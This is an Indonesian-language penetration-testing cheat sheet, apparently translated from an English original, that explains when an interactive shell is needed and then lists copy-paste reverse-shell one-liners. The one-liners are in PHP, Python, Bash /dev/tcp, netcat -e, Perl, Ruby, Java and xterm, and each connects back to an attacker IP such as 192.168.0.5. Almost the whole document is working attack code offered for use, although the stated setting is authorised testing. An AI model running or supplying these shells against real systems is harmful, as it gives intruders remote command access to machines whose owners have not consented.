Jika Anda cukup beruntung menemukan kerentanan eksekusi perintah selama tes penetrasi, tidak lama kemudian Anda mungkin akan membutuhkan shell interaktif.
Jika tidak mungkin untuk menambahkan file akun / kunci SSH / .rhosts baru dan cukup masuk, langkah Anda berikutnya kemungkinan adalah mengembalikan balik shell terbalik atau mengikat shell ke port TCP. Halaman ini membahas tentang yang pertama.
Pilihan Anda untuk membuat shell terbalik dibatasi oleh bahasa scripting yang diinstal pada sistem target - meskipun Anda mungkin bisa mengunggah program biner juga jika Anda telah dipersiapkan dengan baik.
Contoh-contoh yang ditampilkan dirancang untuk sistem seperti Unix. Beberapa contoh di bawah ini juga dapat berfungsi di Windows jika Anda menggunakan pengganti "/ bin / sh -i" dengan "cmd.exe".
Masing-masing metode di bawah ini bertujuan untuk menjadi satu-liner yang dapat Anda salin / tempel. Karena itu, kalimat tersebut cukup pendek, tetapi tidak terlalu mudah dibaca.
php -r '$sock=fsockopen("192.168.0.5",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.5",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
bash -i >& /dev/tcp/192.168.0.1/8080 0>&1
nc -e /bin/sh 192.168.0.5 4444
perl -e 'use Socket;$i="192.168.0.5";$p=4545;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
ruby -rsocket -e'f=TCPSocket.open("192.168.0.5",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5< >/dev/tcp/192.168.0.5/4444;cat <& 5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
xterm -display 192.168.0.5:4444